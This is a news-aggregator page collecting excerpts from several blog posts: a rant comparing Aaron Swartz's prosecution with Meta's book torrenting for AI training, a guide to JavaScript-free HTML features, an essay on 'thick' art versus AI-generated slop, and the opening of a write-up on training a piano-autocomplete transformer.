10 interesting stories served every morning and every evening.

I'm Upset Again About a Co-Creator of RSS Being Prosecuted For Something Meta Is Doing With Little Consequence

blog.curiousquail.com

Also here’s a cool un­re­lated photo of a chip­munk

Look at this lit­tle guy. They don’t know what an AI model is and they’re so much bet­ter off

It’s noth­ing short of an in­dict­ment of our so­ci­ety at large that Aaron Swartz, one of the co-cre­ators of the RSS pro­to­col (among many other things) was ef­fec­tively as­sas­i­nated by our le­gal sys­tem for illegally” down­load­ing about 70 gi­ga­bytes of aca­d­e­mic ar­ti­cles from JSTOR - charged so ex­ces­sively to be made an ex­am­ple of (we’re talk­ing 35 years in prison, $1million USD fine, and as­set for­fei­ture) to the point where he felt the need to take his own life rather than deal with the court cir­cus and im­pend­ing fi­nan­cial ruin - while Facebook (oh I’m sorry Meta) has tor­rented 80 TERABYTES of books to train their AI mod­els with vir­tu­ally no con­se­quences other than a court case they will most likely get some sort of fi­nan­cial slap on the wrist for while their AI mod­els con­tinue to print them money.

Swartz’ use case was the dis­sem­i­na­tion and archival of knowl­edge; Meta’s use case is pow­er­ing up their pro­pri­etary pla­gia­rism code that cooks the en­vi­ron­ment while giv­ing CEOs psy­chosis and mak­ing one of the world’s rich­est peo­ple even richer.

I never met Aaron but I get mad on his be­half so of­ten and I don’t know what to do with it other than get more rad­i­cal­ized.

Maybe that’s for the best.

Anyway, here’s your end-of-post cat photo. Her name is Lilith and she’s won­der­ing why we don’t do some­thing about all these tech bil­lionares.

HTML Can Do That

chrisburnell.com

HTML has been gob­bling up swathes of what used to be JavaScript’s re­mit. This page lists a bunch of dy­namic func­tion­al­ity that we can now achieve with just HTML.

Update 2026 – 08-20: I orig­i­nally built this page in one hour dur­ing HTML Day 2026 to write and cel­e­brate HTML, but I’ve since made some ed­its to bet­ter ex­press and high­light where the browser im­ple­men­ta­tion of some of this stuff is se­verely lack­ing and/​or com­pletely fails to meet ac­ces­si­bil­ity needs. So, by all means, try it out, but make it as ac­ces­si­ble as you can!

popover

Browser Support: popover →

Light dis­miss, Esc to close, no man­ag­ing z-in­dex to wran­gle it onto a top later. All man­aged with popover and popover­tar­get (and popover­tar­ge­tac­tion) at­trib­utes in HTML. (MDN)

No JavaScript, just mod­ern browser magic, thanks to the won­der­ful folks spec­c­ing for the web and build­ing our browsers!

<button popover­tar­get=“ex­am­ple-popover”>Tog­gle popover</​but­ton> <div id=“ex­am­ple-popover” popover> <p>No JavaScript, just mod­ern browser magic, thanks to the won­der­ful folks spec­c­ing for the web and build­ing our browsers!</​p> <button popover­tar­get=“ex­am­ple-popover” popover­tar­ge­tac­tion=“hide”>Close</​but­ton> </div>

<dialog>

Browser Support: di­a­log →

Similar thing go­ing on as popover here, ex­cept this time with a ded­i­cated el­e­ment for modal di­a­log boxes. (MDN)

See com­mand / com­mand­For be­low for an­other, more re­cently-land­ing fea­ture that al­lows us to open and close di­a­log el­e­ments (and will be use­ful for lots of other non-JS func­tion­al­ity, one day!).

Once again the popover at­tribute is do­ing some heavy-lift­ing here!

<button popover­tar­get=“ex­am­ple-di­a­log”>Tog­gle &lt;dialog&gt; popover</​but­ton> <dialog id=“ex­am­ple-di­a­log” popover> <p>Closed with just HTML via <code>&lt;form method=“di­a­log”&gt;</​code>, opened with the <code>popover</code> at­tribute.</​p> <button popover­tar­get=“ex­am­ple-di­a­log” popover­tar­ge­tac­tion=“hide”>Close</​but­ton> </dialog>

Even though it’s sort of against the spirit of this page, I want to in­clude this short snip­pet of how to in­ter­act with di­a­log el­e­ments in JavaScript:

This one is opened with .showModal() and closed with .close(), both called from JavaScript.

<button id=“ex­am­ple-di­a­log-js-open”>Open di­a­log</​but­ton> <dialog id=“ex­am­ple-di­a­log-js”> <p>This one is opened with <code>.showModal()</code> and closed with <code>.close()</code>, both called from JavaScript.</p> <button id=“ex­am­ple-di­a­log-js-close”>Close</​but­ton> </dialog>

doc­u­ment.getEle­ment­ById(“ex­am­ple-di­a­log-js-open”).ad­dE­ventLis­tener(“click”, () => { doc­u­ment.getEle­ment­ById(“ex­am­ple-di­a­log-js”).show­Modal() }) doc­u­ment.getEle­ment­ById(“ex­am­ple-di­a­log-js-close”).ad­dE­ventLis­tener(“click”, () => { doc­u­ment.getEle­ment­ById(“ex­am­ple-di­a­log-js”).close() })

Grouped <details>

Browser Support: de­tails name →

A shared name at­tribute turns a group of <details> into an ex­clu­sive ac­cor­dion. Open one and the oth­ers close au­to­mat­i­cally. Magic! (MDN)

Open the sec­ond one and watch this close on its own.

First one’s hid­den now.

<details name=“ex­am­ple-group”> <summary>First</summary> <p>Open the sec­ond one and watch this close on its own.</​p> </details> <details name=“ex­am­ple-group”> <summary>Second</summary> <p>First one’s hid­den now.</​p> </details>

com­mand & com­mand­for

Browser Support: in­voker com­mands →

Separate HTML but­tons con­trol­ling one popover. No script­ing. (MDN)

Note: So far only show-modal, close, re­quest-close, tog­gle-popover, show-popover, and hide-popover have landed sta­ble in browsers. We can look for­ward to in­vok­ers sup­ported in the fu­ture to in­cre­ment/​decre­ment val­ues, in­ter­act with me­dia el­e­ments, copy text, etc.

show-popover opens this and hide-popover closes it!

<button com­mand=“show-popover” com­mand­for=“ex­am­ple-com­mand-popover”>Open</​but­ton> <button com­mand=“hide-popover” com­mand­for=“ex­am­ple-com­mand-popover”>Close</​but­ton> <dialog id=“ex­am­ple-com­mand-popover” popover> <p><code>show-popover</code> opens this and <code>hide-popover</code> closes it!</​p> <button com­mand=“hide-popover” com­mand­for=“ex­am­ple-com­mand-popover”>Close</​but­ton> </dialog>

load­ing=“lazy”

Browser Support: load­ing-lazy-attr →

This im­age de­fers load­ing un­til it’s near the view­port. Not an IntersectionObserver in sight. (MDN)

<img src=“/​im­ages/​avatar@2x.jpeg” load­ing=“lazy” width=“200” height=“200″ alt=“a photo por­tait of Chris Burnell’s face”>

hid­den un­til-found

Browser Support: hid­den un­til-found →

Navigating to the frag­ment link be­low re­veals the hid­den sec­tion. The browser au­to­mat­i­cally re­moves hid­den=“un­til-found”. (MDN)

Note: This one’s still pretty new and only re­ally plays nicely with browser de­fault search, and not so well with screen reader search im­ple­men­ta­tions, for ex­am­ple. Still, one to keep in the back pocket for an­other day down the road!

<a href=“#ex­am­ple-un­til-found”>Jump to hid­den con­tent</​a> <div id=“ex­am­ple-un­til-found” hid­den=“un­til-found”> <p>Yahaha! You found me!</​p> </div>

More Native Elements

Browser Support: in­put-color →, in­put-range →, in­put-date­time →, me­ter →, progress →

Colour, date, and range pick­ers, me­ters, and progress bars built right into the browser. (MDN: Color Input, MDN: Range Input, MDN: Color Input, MDN: Meter, MDN: Progress)

Warning! Some of these el­e­ments feel a lit­tle un­fin­ished. I’m hop­ing that we can ex­pect form el­e­ments to re­ceive some more love over the com­ing years, but at this point in time, the im­ple­men­ta­tions ship­ping in browsers are, un­for­tu­nately, lack­ing. I would tread very care­fully with us­ing some of these. You can ex­pect things like the de­fault browser styles of these el­e­ments to vary pretty wildly be­tween browsers and for the ac­ces­si­bil­ity ex­pe­rienecs to be very poor. Be wary of the many pit­falls!

Colour

Date

Range

Progress: 42%

Meter: Low Between High

<label>Colour <input type=“color” value=“#663399″ au­to­com­plete=“off”></​la­bel> <label>Date <input type=“date” au­to­com­plete=“off”></​la­bel> <label>Range <input type=“range” min=“0” max=“100″ value=“50” au­to­com­plete=“off”></​la­bel> <progress value=“42” max=“100″>42%</​progress> <meter min=“0” value=“50″ max=“100” low=“20″ high=“80” op­ti­mum=“90″></​me­ter>

<datalist>

Browser Support: datal­ist →

Native au­to­com­plete sug­ges­tions, no drop­down li­brary re­quired. (MDN)

Warning! Support for this across in­put types is still pretty spotty, and there are also a num­ber of is­sues in its im­ple­men­ta­tion in browsers. See Adrian Roselli’s Under-Engineered Comboboxen for more info. You might even want to skip us­ing this for now, and keep an eye on it to see if it im­proves over the new few years.

<label>Favourite HTML el­e­ment <input type=“text” id=“ex­am­ple-datal­ist-in­put” list=“ex­am­ple-datal­ist” au­to­com­plete=“off”></​la­bel> <datalist id=“ex­am­ple-datal­ist”> <option value=“a”> <option value=“abbr”> <option value=“ad­dress”> <!– … –> </datalist>

Written and built by Chris Burnell for HTML Day 2026 dur­ing the Online Event run by Zachary Kai on Saturday, 8th August 2026.

I wel­come cor­rec­tions or amends to this page! I am not an ex­pert, but I’ve at­tempted to rep­re­sent things hon­estly. Do not use this page to jus­tify de­ci­sions to your boss. Or your­self. Don’t for­get that not every­one browses the web like you do. And have fun with these new-ish fea­tures of HTML!

I like 'em thick

www.experimental-history.com

I owe an apol­ogy to every English teacher I ever had. I al­ways as­sumed that so-called great” lit­er­a­ture was a hoax, a pun­ish­ment in­flicted upon ado­les­cents for the crime of be­ing young. These books did not have any­thing spe­cial about them, and cov­er­ing up that fact was sim­ply a make-work ex­er­cise for for­mer English ma­jors, a sort of jobs for snobs” pro­gram.

I was wrong about this. There is such thing as great­ness. More specif­i­cally, there is such thing as thick­ness. Great works of fic­tion—for that mat­ter, great works of any art—un­furl in re­sponse to your at­ten­tion. The more time you spend with them, the more you get out of them. That kind of re­spon­sive­ness is so ad­dict­ing that it can lead peo­ple to do crazy things, like try to teach lit­er­a­ture to high school­ers.

But thick­ness is tricky, be­cause re­ward­ing the care­ful reader of­ten means re­pelling the ca­sual one. And this is where I would like an apol­ogy in re­turn from my English teach­ers, be­cause while this might have been ob­vi­ous to them, they never made it ob­vi­ous to me.

I was pre­sented with art and lit­er­a­ture as if it was self-ex­plana­tory, and that every­thing won­der­ful about it was plainly vis­i­ble from the out­side. But those works were much more like dark, wind­ing caves with trea­sure stashed in­side of them. My teach­ers were like, Right, well, into the cave you go!” and I was like But there’s noth­ing in there” and they were like Entering the cave is 30% of your grade” and so I took a few steps into the dark­ness and I was like Just as I sus­pected: an empty cave” and then I came trudg­ing back out and pre­tended that I saw some­thing.

But if some­one had out­fit­ted me ap­pro­pri­ately, if they warned me that you have to bring one of those crank-up flash­lights and you might have to shimmy through some nar­row an­techam­bers and spelunk through some flooded pas­sage­ways, but that even­tu­ally you would reach a room full of un­told riches—well, maybe I would have ac­tu­ally tried.

Instead, I had to learn about thick­ness by look­ing at a guy’s butt.

For most of my life, I treated art mu­se­ums like celebrity scav­enger hunts. The point of vis­it­ing was to see in per­son the thing you had seen on a screen or in a book; the goal was col­lec­tion rather than con­tem­pla­tion. And so I would power-walk through the gal­leries, scan­ning the plac­ards for fa­mous names, rush­ing over when­ever one of my com­pan­ions would hiss, Oh, this one’s a Van Gogh!”

This ended when I en­coun­tered The Garden of Earthly Delights, a trip­tych painted by the Dutch mas­ter Hieronymous Bosch. When I went to col­lect that one, I got stuck. I wanted to stand in front of it for­ever.

It’s a paint­ing from 500 years in the past that looks like a paint­ing from 500 years in the fu­ture. Every cor­ner of it is filled with freakish rid­dles” and irresponsible phan­tas­mago­ria”, in the words of art critic Wilhelm Fränger. For ex­am­ple, what is go­ing on with this dude?

Or this lil guy here?

In the third panel of the trip­tych, there’s a scene of some in­stru­ments, some naked dudes, and some kind of pink de­mon with an alarm­ingly long tongue. Look closely, and you’ll see one of the naked dudes has some mu­sic printed on his butt (helpfully, one of his friends is point­ing at it, as if to say, dude you have some mu­sic on your butt”).

In 2012, a stu­dent at Oklahoma Christian University named Amelia Hamrick no­ticed the butt mu­sic and de­cided to tran­scribe it, record it, and post it to her blog, cat­a­pult­ing her to in­stant world­wide fame.

When I started writ­ing this sec­tion, I in­tended to in­clude this fact as a fun lit­tle Easter egg—look how thick this paint­ing is, that it goes to the trou­ble of writ­ing an ac­tual song on a guy’s hiney!

But it turns out I got this all wrong, and the paint­ing was even thicker than I thought. While re­search­ing the story, I stum­bled upon three mag­is­te­r­ial blog posts by Ian Pittman, an ex­pert on me­dieval mu­sic. He ar­gues:

Hamrick was not the first to res­ur­rect the butt mu­sic. It was also done by the Swedish group Vox Vulgaris in 2003, Atrium Musicae in 1978 (from the LP Codex Gluteo), and, ac­cord­ing to a now-deleted an­gry com­ment, by some art his­tory pro­fes­sors in 1981 and 1961, whose era­sure from this story has left them quite, if you will, but­thurt.

Hamrick was not the first to res­ur­rect the butt mu­sic. It was also done by the Swedish group Vox Vulgaris in 2003, Atrium Musicae in 1978 (from the LP Codex Gluteo), and, ac­cord­ing to a now-deleted an­gry com­ment, by some art his­tory pro­fes­sors in 1981 and 1961, whose era­sure from this story has left them quite, if you will, but­thurt.

The butt mu­sic is not mu­sic at all. It lacks a clef, the notes are spaced out ran­domly, and one of the staffs has a dif­fer­ent num­ber of lines. If you try to turn it into a co­her­ent song, you’re ba­si­cally mak­ing things up—or as we would call it if an LLM did it, hal­lu­ci­nat­ing. (Perhaps this is why every ren­di­tion of the butt mu­sic has sounded so dif­fer­ent.)

The butt mu­sic is not mu­sic at all. It lacks a clef, the notes are spaced out ran­domly, and one of the staffs has a dif­fer­ent num­ber of lines. If you try to turn it into a co­her­ent song, you’re ba­si­cally mak­ing things up—or as we would call it if an LLM did it, hal­lu­ci­nat­ing. (Perhaps this is why every ren­di­tion of the butt mu­sic has sounded so dif­fer­ent.)

Bosch in­tended the butt mu­sic to be un­playable. If you look across his works, un­der­stand the con­text of his life, and spend a lit­tle ex­tra time in­spect­ing The Garden of Earthly Delights, you re­al­ize that Bosch thought sec­u­lar mu­sic was a one-way ticket to hell. (Church mu­sic was a-ok, as long as it was for the glory of god and not the glory of the play­ers.) That’s why he de­picted so many mu­si­cians be­ing tor­tured: one of them is trapped in­side a drum that’s be­ing beaten by some kind of rac­coon de­mon, an­other is be­ing cru­ci­fied on a harp, and the butt mu­sic guy him­self is be­ing crushed by a gi­ant lute. For Bosch, putting ac­tual mu­sic on a guy’s ass would be like the FBI hand­ing out copies of the Anarchist Cookbook.

Bosch in­tended the butt mu­sic to be un­playable. If you look across his works, un­der­stand the con­text of his life, and spend a lit­tle ex­tra time in­spect­ing The Garden of Earthly Delights, you re­al­ize that Bosch thought sec­u­lar mu­sic was a one-way ticket to hell. (Church mu­sic was a-ok, as long as it was for the glory of god and not the glory of the play­ers.) That’s why he de­picted so many mu­si­cians be­ing tor­tured: one of them is trapped in­side a drum that’s be­ing beaten by some kind of rac­coon de­mon, an­other is be­ing cru­ci­fied on a harp, and the butt mu­sic guy him­self is be­ing crushed by a gi­ant lute. For Bosch, putting ac­tual mu­sic on a guy’s ass would be like the FBI hand­ing out copies of the Anarchist Cookbook.

So the butt mu­sic is not a se­cret, but a warn­ing: If you play mu­sic out­side of a church con­text, demons will tor­ture you for eter­nity.” I find this funny, be­cause I grew up amidst a moral panic over rap mu­sic; just imag­ine grow­ing up in a moral panic over all mu­sic. Oh, your heart will go on, Celine Dion? No, your heart will be torn from your chest and fed to the slaver­ing ser­vants of Beelzebub.”

So that’s what thick­ness looks like, but what is it? What makes some­thing thick?

There is no straight­for­ward an­swer to this ques­tion, which is what makes thick­ness both rare and re­mark­able in the first place. But I think there are four thick­en­ing agents worth con­sid­er­ing:

Thick art bears the marks of ap­proaches at­tempted and dis­carded, a pile of scraps larger than the fin­ished pro­ject. For ex­am­ple, here are four ver­sions of the same idea from the artist Hokusai, one pro­duced when he was 33, an­other when he was 44, an­other at 46, and an­other when he was 72, which is the one you’ll rec­og­nize.1

The Betty Crocker Corporation could put just egg pow­der into their cake mix, but they don’t, be­cause crack­ing an egg into a bowl al­lows peo­ple to pre­tend that they’re bak­ing. When you pre­sent your grandma with a birth­day cake, you want to feel like I made this for you, O Beloved Grandmama” and not like I dumped a bag of dust into a bowl and heated it up so open wide you old biddy.”

Thick art is like that: it gives you an egg to crack. It leaves space for some es­sen­tial in­gre­di­ent you bring your­self, so that the real ac­tion hap­pens in your mind, rather than on the page or the can­vas or the screen.

This ef­fect is of­ten too sub­tle to demon­strate in a sin­gle bul­let point, but here’s an ac­ces­si­ble ex­am­ple. The 11th Hour by Graeme Base reads like a nor­mal chil­dren’s book at first—oh look here are some beau­ti­ful pic­tures of an­i­mals, look at them play­ing board games, how nice, etc.

Only at the end of the story do you re­al­ize that a crime has been tak­ing place un­der your nose the whole time, and that the clues are hid­den in the de­tails of the pic­tures you’ve just been pag­ing through. The real ex­pe­ri­ence of the book is re-read­ing the book with this in mind.

Why this word, this scene, this char­ac­ter, and not some other one? Thin art has no an­swers; thick art does. Sometimes these rea­sons are known to the artist, and some­times they are not, much to the de­light and em­ploy­ment of Freudians every­where.

For ex­am­ple, did you know there’s lots of ears in Hamlet? There’s the poi­son-in-the-ear thing, of course, and char­ac­ters are al­ways eaves­drop­ping on each other and ex­hort­ing each other to lis­ten, but there’s also a lot of talk about ears (“in the porches of my ears”) and num­ber of odd ear-based metaphors (“the whole ear of Denmark”, like a mildewed ear”). Whether Shakespeare did this on pur­pose be­cause he had some kind of ear fetish, whether the muse whis­pered it to him in his sleep (and through what ori­fice?), and whether any reader no­tices it—these are all be­side the point. The re­cur­rence of these themes and im­ages cre­ates a depth that can be felt even if it is­n’t known, and end­lessly ex­plored if it is.2

Humans are mor­tal, for now. This means all of our ac­tions in­cur op­por­tu­nity costs, and so the greater the cost paid to cre­ate a work of art, the thicker it can get. There’s no guar­an­tee this will hap­pen, of course, and that risk is part of the thrill.

The Met Cloisters has these wooden al­tar­pieces from the 1400s that draw your at­ten­tion im­me­di­ately, I think be­cause the mind can sub­con­sciously cal­cu­late the time it must have taken to carve them, and it sends a sig­nal back to the eyes: im­por­tant. You know that you are not just see­ing a work of art, but the ex­pen­di­ture of a life.

Here’s an even more haunt­ing ex­am­ple. I once saw the ma­gi­cian duo Penn and Teller per­form live, and at the end of the show, Penn told us he was go­ing to swal­low fire. As he dipped the torch in gaso­line, he ex­plained that what he was about to show us is not a trick. Magicians are al­ways say­ing things like that, but in this case it’s true: there is no sleight of hand the pro­tects the fire-eater from the flames. They get blis­ters and burns, the fuel drips down their esoph­a­gus and poi­sons them, they suck the hy­dro­car­bons into their lungs and con­tract fire-eater’s pneu­mo­nia”. To watch some­one eat fire is to watch some­one shorten their lifes­pan for your en­ter­tain­ment.

When you leave the the­ater tonight, you’re go­ing to ask your­selves, How did they do it?’”, Penn said as he lit the torch. Instead, I’d like you to ask your­selves, Why did they do it?’“ And then he reared his head back and swal­lowed the flame.

The other way to un­der­stand thick­ness is to study its ab­sence.

Guys who work in bike shops like to joke about bi­cy­cle-shaped ob­jects—sure, that mass-pro­duced hunk of metal and plas­tic has a seat, ped­als, wheels, and han­dle­bars, but that does­n’t mean it’s a bike. When the ma­te­ri­als are so cheap and the con­struc­tion is so slap­dash, it de­serves an­other name en­tirely.

This ter­mi­nol­ogy comes in handy, be­cause it turns out there are also movie-shaped ob­jects and book-shaped ob­jects, art-shaped ob­jects and thought-shaped ob­jects. Just be­cause a se­ries of pic­tures flick­ered across the screen and the cred­its fol­lowed, that does­n’t mean it was a movie. Just be­cause it’s printed out and bound in card­board, that does­n’t mean it’s a book. There is an ad­di­tional essence that is nec­es­sary to turn some­thing from the shape of a thing into the ac­tual thing, and the dif­fer­ence be­tween hav­ing and lack­ing that essence is the dif­fer­ence be­tween a corpse and a per­son.

This essence is what makes fic­tion worth read­ing in the first place, but it’s hard to cap­ture in a para­graph, so let me show you some non­fic­tion in­stead, where you can spot the thin­ness in an in­stant. Here’s a pas­sage from a self-help book that a friend sent me re­cently:

You are built to per­form un­der pres­sure and that is ex­actly what you will do. Reminding your­self of this changes the mean­ing of those signs of stress that might oth­er­wise be seen as symptoms” of a prob­lem. In fact, re­search shows that sim­ply re­mind­ing some­one that their per­for­mance im­proves un­der pres­sure im­proves their ac­tual per­for­mance by 33 per­cent (Jamieson et al., 2018).

You are built to per­form un­der pres­sure and that is ex­actly what you will do. Reminding your­self of this changes the mean­ing of those signs of stress that might oth­er­wise be seen as symptoms” of a prob­lem. In fact, re­search shows that sim­ply re­mind­ing some­one that their per­for­mance im­proves un­der pres­sure im­proves their ac­tual per­for­mance by 33 per­cent (Jamieson et al., 2018).

These sen­tences crum­ble im­me­di­ately upon in­spec­tion. First of all, there’s some­thing em­bar­rass­ing and grat­ing about get­ting generic en­cour­age­ment from a book—you don’t know me! Maybe I am not built to per­form un­der pres­sure”! I might be a pa­thetic weak­ling who is des­tined to choke at the piv­otal mo­ment. What then?

Plus, the facts here are brit­tle. I looked up the pa­per in ques­tion and could not find this 33 per­cent” num­ber any­where. Maybe it’s made up? And what is performance”, any­way? Performance on any­thing? Surely not; the stud­ies cited in the pa­per are mainly about tak­ing mul­ti­ple-choice tests.3 This is ex­actly the kind of find­ing that rises to promi­nence thanks to one small and flawed ex­per­i­ment, at­tracts a bunch of ex­cited re­search, gets wildly over­gen­er­al­ized un­der the hand­wavy phrase studies show”, and then shriv­els un­der a wave of de­bunk­ings and non-repli­ca­tions, such that af­ter years of work, the whole thing ends with an em­bar­rassed shrug. (Unsurprisingly, there is some ev­i­dence of pub­li­ca­tion bias for this built to per­form un­der pres­sure” ef­fect.)

Reading a book like this feels like wan­der­ing through a Potemkin vil­lage. Touch any of the ideas, and they tip over.

In non­fic­tion, it might seem like the so­lu­tion for puffery is pedantry, as if thick­ness comes from pre­sent­ing every rel­e­vant fact in ag­o­niz­ing de­tail. But it does­n’t, just as thick­ness in fic­tion does­n’t come from de­scrib­ing every ob­ject in the room be­fore you let the char­ac­ters open their mouths. Instead, thick­ness comes from sur­fac­ing a few facts well, and in such a way that you re­al­ize the ex­is­tence of en­tire uni­verses of ad­di­tional facts that could be known.

For ex­am­ple, here’s a short pas­sage from Jane Jacobs’ The Death and Life of Great American Cities:

[City plan­ners] op­er­ate on the premise that city peo­ple seek the sight of empti­ness, ob­vi­ous or­der and quiet. Nothing could be less true. People’s love of watch­ing ac­tiv­ity and other peo­ple is con­stantly ev­i­dent in cities every­where. This trait reaches an al­most lu­di­crous ex­treme on up­per Broadway in New York, where […] benches have been placed be­hind big con­crete buffers and on any day when the weather is even barely tol­er­a­ble these benches are filled with peo­ple at block af­ter block af­ter block, watch­ing the pedes­tri­ans who cross the mall in front of them, watch­ing the traf­fic, watch­ing the peo­ple on the busy side­walks, watch­ing each other.

[City plan­ners] op­er­ate on the premise that city peo­ple seek the sight of empti­ness, ob­vi­ous or­der and quiet. Nothing could be less true. People’s love of watch­ing ac­tiv­ity and other peo­ple is con­stantly ev­i­dent in cities every­where. This trait reaches an al­most lu­di­crous ex­treme on up­per Broadway in New York, where […] benches have been placed be­hind big con­crete buffers and on any day when the weather is even barely tol­er­a­ble these benches are filled with peo­ple at block af­ter block af­ter block, watch­ing the pedes­tri­ans who cross the mall in front of them, watch­ing the traf­fic, watch­ing the peo­ple on the busy side­walks, watch­ing each other.

Jacobs notes that fur­ther north, near Columbia University, the streets are qui­eter, the pedes­tri­ans are more or­derly, the traf­fic is calmer…and the benches are empty. I have tried them and can see why,” Jacobs says. No place could be more bor­ing.”4

There are a lot of threads here, so I’ll pick just one. Jacobs is point­ing out a fact that mil­lions of peo­ple ob­serve every day, but al­most none of them no­tice. Including me! I once lived on those bor­ing blocks that Jacobs de­scribes, and al­though I no­ticed some­thing amiss—I would tell friends I lived in the dead zone of Manhattan”—I never un­der­stood why. Nor do I think psy­chol­o­gists re­ally have an an­swer for what mo­ti­vates peo­ple to sit on benches and watch other hu­mans go by. What drive is this sat­is­fy­ing?

There is a dan­ger, of course, in seek­ing and prais­ing thick­ness, one that even I un­der­stood when I was a barely-sen­tient teenager. If you al­low for the ex­is­tence of se­cret trea­sures that can only be ac­cessed with ef­fort and analy­sis, then you em­power the elit­ists and the snobs. Buddy, don’t even talk to me un­til you’ve been in the cave!”

But look around. The snobs are in full re­treat. We have swung the pen­du­lum so far to­ward pop­ti­mism, to­ward the blink­ered idea that all art is equal be­cause all hu­mans are equal, to­ward the ethos that guilty plea­sures are sim­ply plea­sures, that I’m not sure if we can ever swing it back.

Erasing the line be­tween the thick and the thin has left us de­fense­less against slop at the ex­act mo­ment of its on­slaught. Everyone can sense there’s some­thing amiss with the prose that comes out of the ma­chines, but we lack the lan­guage to talk about it, and so we’ve con­verged on the idea that slop sim­ply means us­ing too many em dashes, bul­let points, and line breaks.

No, what sep­a­rates sub­stance from slop is thick­ness. Slop holds no se­crets; it sig­ni­fies noth­ing. Under scrutiny, it evap­o­rates. All it can of­fer is bot­tom­less­ness—sure, there’s noth­ing on, but at least there are in­fi­nite chan­nels!

That’s why I’m nei­ther sur­prised nor dis­mayed when stud­ies find that peo­ple pre­fer AI art to hu­man art. Of course they do! In the short term, thin­ness pre­vails. When peo­ple are mak­ing snap judg­ments, they want pretty flow­ers, po­ems that rhyme, pleas­ing pablum, the sim­u­lacrum of thought.5 But none of these last. The real ques­tion is not which of these things looks nicer when you look at them for two sec­onds?” but which of these things will stand the test of time?” Which of them will peo­ple fly across the world to see? Which of them will drive peo­ple so mad they’ll ma­jor in the hu­man­i­ties?

This kind of qual­ity can only be proven by longevity. Which an­swers an­other ques­tion I had when I was scowl­ing in the back of English class: why do we have to spend so much time read­ing old stuff? And the an­swer is: this is the only stuff that we can be sure is any good. Great works of art, like suc­cess­ful genes, con­vince hu­mans to keep pass­ing them on. If some­thing has sur­vived for cen­turies, then there’s prob­a­bly some­thing to it. We’re not still brew­ing Bronze Age beer and we’re not still sail­ing Bronze Age ships, but we are still telling Bronze Age sto­ries, and this war­rants our at­ten­tion.

Speaking of longevity, re­mem­ber a few months ago, when every­one was Studio Ghibli-fying all the pic­tures in their cam­era roll? Well, why did they stop? Why are those mil­lions of im­ages gath­er­ing dust in a data cen­ter while peo­ple con­tinue to watch ac­tual Studio Ghibli films? Why is it that Suno can AI-generate you any kind of mu­sic you want, but if you go on the Suno Reddit, you’ll find a run­ning joke that no one can stand any­one’s Suno mu­sic but their own—a qual­ity that, I can’t help but men­tion, also ap­plies to farts?

The slop-aca­lypse that so many of us fear, when peo­ple will stop look­ing at any­thing made by hu­mans and only look at things made by ma­chines—why has­n’t that hap­pened yet? Do the mod­els need an­other mil­lion to­kens? Are we still look­ing for the right prompts? Or could it be that we are at­tempt­ing to mass-pro­duce some­thing that can­not be mass-pro­duced?

Regardless, peo­ple keep try­ing. About once a week, I get a pitch from some AI startup that wants to au­to­mate some part of my writ­ing. The most re­cent one says it’s built for cred­i­ble thinkers who have a book’s worth of ideas but not the time it typ­i­cally takes to write one”.

I’m sorry, but if you’re build­ing or us­ing a tool like this, then you’ve got slop for brains. There is no such thing as hav­ing a book’s worth of ideas” that are all ready to go ex­cept for the small mat­ter of choos­ing the right words and putting them in the right or­der.

I know ex­actly the feel­ing that these slop-trepeneurs are prey­ing on, be­cause I feel it all the time: I’ve got these thoughts in my head, and boy oh boy they’re good ones, all-timers, re­ally, and it’s so an­noy­ing that I have to spend all this time mak­ing the words sound good, when the ideas be­hind the words are al­ready so good!

But this is an il­lu­sion. The ideas are not al­ready good. They need to be thick­ened. I un­der­stand why it’s tempt­ing to force a ma­chine do the hard part for you, but it can’t, and the hard part is the only part worth do­ing any­way. Making some­thing thick—that’s a lot of pres­sure! But re­mem­ber: you were built to per­form un­der pres­sure, and that’s just what you’ll do.

3

Also, those stud­ies did not re­mind par­tic­i­pants that their per­for­mance im­proves un­der pres­sure”—they told par­tic­i­pants that feel­ing anx­ious dur­ing a test does­n’t mean you will nec­es­sar­ily per­form worse, and it might make you per­form bet­ter.

Training a 125M-parameter Model to Autocomplete Piano

simedw.com

TL;DR: I trained a 125M-parameter trans­former to au­to­com­plete pi­ano per­for­mances in real time (~108 notes/​sec on an iPhone 15). The biggest im­prove­ments came from find­ing the right MIDI rep­re­sen­ta­tion, clean­ing the train­ing data ag­gres­sively, and adding DPO post-train­ing.

Almost a year ago, I started tin­ker­ing with an idea: con­nect my MIDI pi­ano to my phone, play some­thing, and have AI au­to­com­plete the song for me. Think GitHub Copilot, but for pi­ano.

It turned out to be a deeper rab­bit hole than I ex­pected. Fourteen ex­per­i­ments later, it is fi­nally at a point where I am happy enough with it to write about.

The app, RollTab, is avail­able for free here if you have a MIDI key­board and an iPhone/​iPad. 1

A few sound sam­ples

Each au­dio starts with a short prompt, fol­lowed by the mod­el’s con­tin­u­a­tion.

Pokémon, Pallet Town (8-note prompt)

Your browser does not sup­port the au­dio tag.

Final Fantasy VI, Terra’s Theme (16-note prompt)

Your browser does not sup­port the au­dio tag.

Für Elise (16-note prompt)

Your browser does not sup­port the au­dio tag.

What’s in a MIDI File?

A MIDI file is quite dif­fer­ent from an MP3 or other au­dio for­mats. Rather than stor­ing recorded sound, it stores mu­sic as a se­quence of events: a key is pressed at a cer­tain pitch and ve­loc­ity, a key is re­leased, the sus­tain pedal changes state, and so on. Other events in­clude switch­ing in­stru­ments or chang­ing vol­ume.

These events are of­ten or­gan­ised into mul­ti­ple tracks. A pop or game MIDI might have melody, chords, bass, drums, strings, and sev­eral synth parts. This pro­ject is fo­cused on pi­ano con­tin­u­a­tion, so I mostly kept pi­ano-like ma­te­r­ial and re­moved or re­duced the rest.

How Do You Tokenize Music?

To train a trans­former on these per­for­mances, I first needed to turn the MIDI events into a dis­crete se­quence the model could read and pre­dict. The most ob­vi­ous map­ping is to make a to­ken for every MIDI event:

NOTE_ON_60_80 # {pitch}_{velocity} NOTE_OFF_60 # {pitch} TIME_SHIFT_12 # {time step}

If you in­clude pitch and ve­loc­ity di­rectly in a NOTE_ON to­ken, the vo­cab­u­lary can grow quickly. There are 128 MIDI pitches and 128 ve­loc­ity val­ues, so the naive com­bined note-on vo­cab­u­lary has up to:

128 * 128 + 128 = 16,512

to­kens just for note-on and note-off. In prac­tice you would prob­a­bly bucket ve­loc­ity, but the ba­sic is­sue re­mains: many com­bi­na­tions are rare, and the model has to learn a lot of struc­ture from sparse to­kens.

A com­mon im­prove­ment is to fac­tor the rep­re­sen­ta­tion with a gram­mar:

[NOTE_ON, PITCH, VELOCITY] | [NOTE_OFF, PITCH] | [TIME_SHIFT, DURATION]

Now the out­put spaces are smaller:

